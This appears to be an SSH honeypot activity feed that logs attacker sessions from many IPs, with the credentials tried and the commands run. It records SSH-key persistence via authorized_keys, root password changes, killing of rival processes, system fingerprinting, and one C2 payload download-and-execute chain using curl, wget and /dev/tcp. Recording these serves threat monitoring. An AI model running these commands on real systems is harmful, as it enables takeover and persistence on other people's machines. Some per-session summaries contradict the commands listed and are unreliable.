🎭 cipher_root_37 (20.157.117.15) — Singapore, Singapore · 1 session · 19 cmds

2026-07-03 21:13 EDT · as root/Password@11

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:TTN0hdHLhtpf"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_35 (103.172.236.15) — Đống Đa, Vietnam · 3 sessions · 57 cmds

2026-07-03 21:05 EDT · as root/Password@11, root/marlboro, root/qwe123!!

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:EfSqUSrtduGM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:62UyOWxFGyUb"|chpasswd|bash

$ echo "root:4t3PJRsoBEaU"|chpasswd|bash

🎭 dragon_root_13 (125.124.42.183) — Yanguan, China · 1 session · 19 cmds

2026-07-03 20:25 EDT · as root/vikas123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:nUjF2GNCPB95"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 seoul_root_4 (211.51.132.104) — Haeundae-gu, South Korea · 1 session · 19 cmds

2026-07-03 20:15 EDT · as root/admin!@34

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:3g6vOgF1bxEM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shogun_root (43.165.180.54) — Tokyo, Japan · 1 session · 19 cmds

2026-07-03 20:11 EDT · as root/78ui&*UI

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:XYlzdnB4viBa"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 monsoon_root_4 (3.111.225.234) — Mumbai, India · 5 sessions · 5 cmds

2026-07-03 07:28 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×5 // OS/kernel identification

🎭 cowboy_root_13 (70.37.89.177) — San Antonio, United States · 3 sessions · 3 cmds

2026-07-03 05:31 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 silk_root_9 (8.138.226.180) — Guangzhou, China · 1 session · 3 cmds

2026-07-03 19:39 EDT · as root/123456

echo → payload download from C2 → execute from /tmp

$ echo 1 > /dev/null && cat /bin/echo

$ nohup $SHELL -c "curl http://101.133.172.172:7147/linux -o /tmp/rkmojWUFDI; if [ ! -f /tmp/rkmojWUFDI ]; then wget http://101.133.172.172:7147/linux -O /tmp/rkmojWUFDI; fi; if [ ! -f /tmp/rkmojWUFDI ]; then exec 6<>/dev/tcp/101.133.172.172/7147 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/rkmojWUFDI ; chmod +x /tmp/rkmojWUFDI && /tmp/rkmojWUFDI is2v24Ty6oYa5hW4sy6zvR7+FIHq/I7arMP299iw24Tl9YAX/h61tTSwrBz5DIbr8o/asNn2/dqu2Ij874YM+RS5qTezohXxF4vs7Ijdvtz39sOv2Y/y6oYQ5hW7tTqwvRD/AoXp8o3TrMP2996w2Yzm7YkU+QS9tzapuxDmEID17o/dpNv39t2ryojr9Ygb5hW1sC61uBzyFIno6pzbrNnp9d+vxI7u7J8T/RC2vziyuAT5Eof17YnEqMP199ik04zv65ER8Aq9szepvRP/DIDs6IbSqN/059Ww2I3l9YYM/R22sTiytQT+Ep/q64zErNj06dqp0Irs6oEX6BW5tS60vgr6FoH17YrdpNTy8tu+2I7s9YAU/Qq0ty61vRTyG4Ls75zSsNz0/8Os2Iry6okS8hy7tTKnuBPmEILi8o3Tr8P28Nqk3I7r65EX8Aq0sC6+tQr5EYLh6orSq83299yw2Yny6YMa5hW6vzqxuhL8AoLi8oXdsN/z8cOs2Ivm4ocT+wS4sC6+tQr5G4b17ojSpNv/9Nu+24zt9YMS+Aq/vy61vh3yFIHo7pzcrsP28N2w2Inv9YYV8hK8tjCyrBXwEZ/q7ZLYrNvp9d2p0Ivt6YQC+Ra4qTK1vwr8F5/i6Ibcp9j259yv3pLt6IMM+hC9qTKztR7xEoXs/IjdsNz28cOv2Iny6IkY8Be+tSC2uRTmE4Tj8ojesNz29dem3Y3u+4kM+hW7qTK0uwrxFIvt6I7Tvtz198Or2ZLu74kM+hK2sDayuwDLAmTWvkTakZo0o2aT4S8QUrNrn2Jqjpwmxx0G; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/rkmojWUFDI && /tmp/rkmojWUFDI is2v24Ty6oYa5hW4sy6zvR7+FIHq/I7arMP299iw24Tl9YAX/h61tTSwrBz5DIbr8o/asNn2/dqu2Ij874YM+RS5qTezohXxF4vs7Ijdvtz39sOv2Y/y6oYQ5hW7tTqwvRD/AoXp8o3TrMP2996w2Yzm7YkU+QS9tzapuxDmEID17o/dpNv39t2ryojr9Ygb5hW1sC61uBzyFIno6pzbrNnp9d+vxI7u7J8T/RC2vziyuAT5Eof17YnEqMP199ik04zv65ER8Aq9szepvRP/DIDs6IbSqN/059Ww2I3l9YYM/R22sTiytQT+Ep/q64zErNj06dqp0Irs6oEX6BW5tS60vgr6FoH17YrdpNTy8tu+2I7s9YAU/Qq0ty61vRTyG4Ls75zSsNz0/8Os2Iry6okS8hy7tTKnuBPmEILi8o3Tr8P28Nqk3I7r65EX8Aq0sC6+tQr5EYLh6orSq83299yw2Yny6YMa5hW6vzqxuhL8AoLi8oXdsN/z8cOs2Ivm4ocT+wS4sC6+tQr5G4b17ojSpNv/9Nu+24zt9YMS+Aq/vy61vh3yFIHo7pzcrsP28N2w2Inv9YYV8hK8tjCyrBXwEZ/q7ZLYrNvp9d2p0Ivt6YQC+Ra4qTK1vwr8F5/i6Ibcp9j259yv3pLt6IMM+hC9qTKztR7xEoXs/IjdsNz28cOv2Iny6IkY8Be+tSC2uRTmE4Tj8ojesNz29dem3Y3u+4kM+hW7qTK0uwrxFIvt6I7Tvtz198Or2ZLu74kM+hK2sDayuwDLAmTWvkTakZo0o2aT4S8QUrNrn2Jqjpwmxx0G" & // payload download from C2

$ head -c 3716336 > /tmp/k1160DDjgZ // execute from /tmp

🎭 specter_root_10 (2.57.217.229) — Tbilisi, Georgia · 4 sessions · 4 cmds

2026-07-03 07:23 EDT · as root/blackcat

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -a ×4 // OS/kernel identification

🎭 phantom_root_40 (150.5.154.160) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-03 18:11 EDT · as root/1qaz2wsx#edC

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:wMfRbtFL1lVL"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 meatball_root_2 (171.25.158.82) — Vaxjo, Sweden · 1 session · 20 cmds

2026-07-03 18:10 EDT · as ubuntu/linux

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "linux\nua8Edft09Ar8\nua8Edft09Ar8"|passwd|bash

$ Enter new UNIX password:

$ echo "linux\nua8Edft09Ar8\nua8Edft09Ar8\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_5 (79.3.96.178) — Legnano, Italy · 1 session · 20 cmds

2026-07-03 18:07 EDT · as ubuntu/linux

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "linux\nNTPw1K61EGp2\nNTPw1K61EGp2"|passwd|bash

$ Enter new UNIX password:

$ echo "linux\nNTPw1K61EGp2\nNTPw1K61EGp2\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 k-pop_root (1.214.42.172) — Seoul, South Korea · 2 sessions · 2 cmds

2026-07-03 11:27 EDT · as root/blackcat

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 sakura_root_2 (210.156.0.132) — Chiyoda City, Japan · 2 sessions · 2 cmds

2026-07-03 09:10 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×2 // OS/kernel identification

🎭 silk_root_10 (101.126.30.240) — Chaowai, China · 1 session · 10 cmds

2026-07-03 17:51 EDT · as minecraft/m1n3cr4ft

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_38 (119.28.49.103) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-03 17:48 EDT · as root/devops123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:VFubNwcQzCWq"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_13 (118.145.238.115) — Haidian, China · 1 session · 19 cmds

2026-07-03 17:46 EDT · as root/ruijie@2026

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:hQUdju6EFaaw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 viking_root (150.241.77.28) — Stockholm, Sweden · 1 session · 19 cmds

2026-07-03 17:38 EDT · as root/abc123456789.

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:wdGQVirrvliU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_34 (200.32.52.150) — El Palomar, Argentina · 3 sessions · 3 cmds

2026-07-03 05:29 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 liberty_root_15 (157.245.126.134) — Clifton, United States · 3 sessions · 3 cmds

2026-07-03 05:37 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 meatball_root_3 (20.240.241.205) — Gävle, Sweden · 3 sessions · 3 cmds

2026-07-03 10:45 EDT · as root/blackcat

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 cipher_root_26 (20.13.164.162) — Dublin, Ireland · 1 session · 20 cmds

2026-07-03 16:44 EDT · as oracle/oracle@2024

Ran uname 5x across 5 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

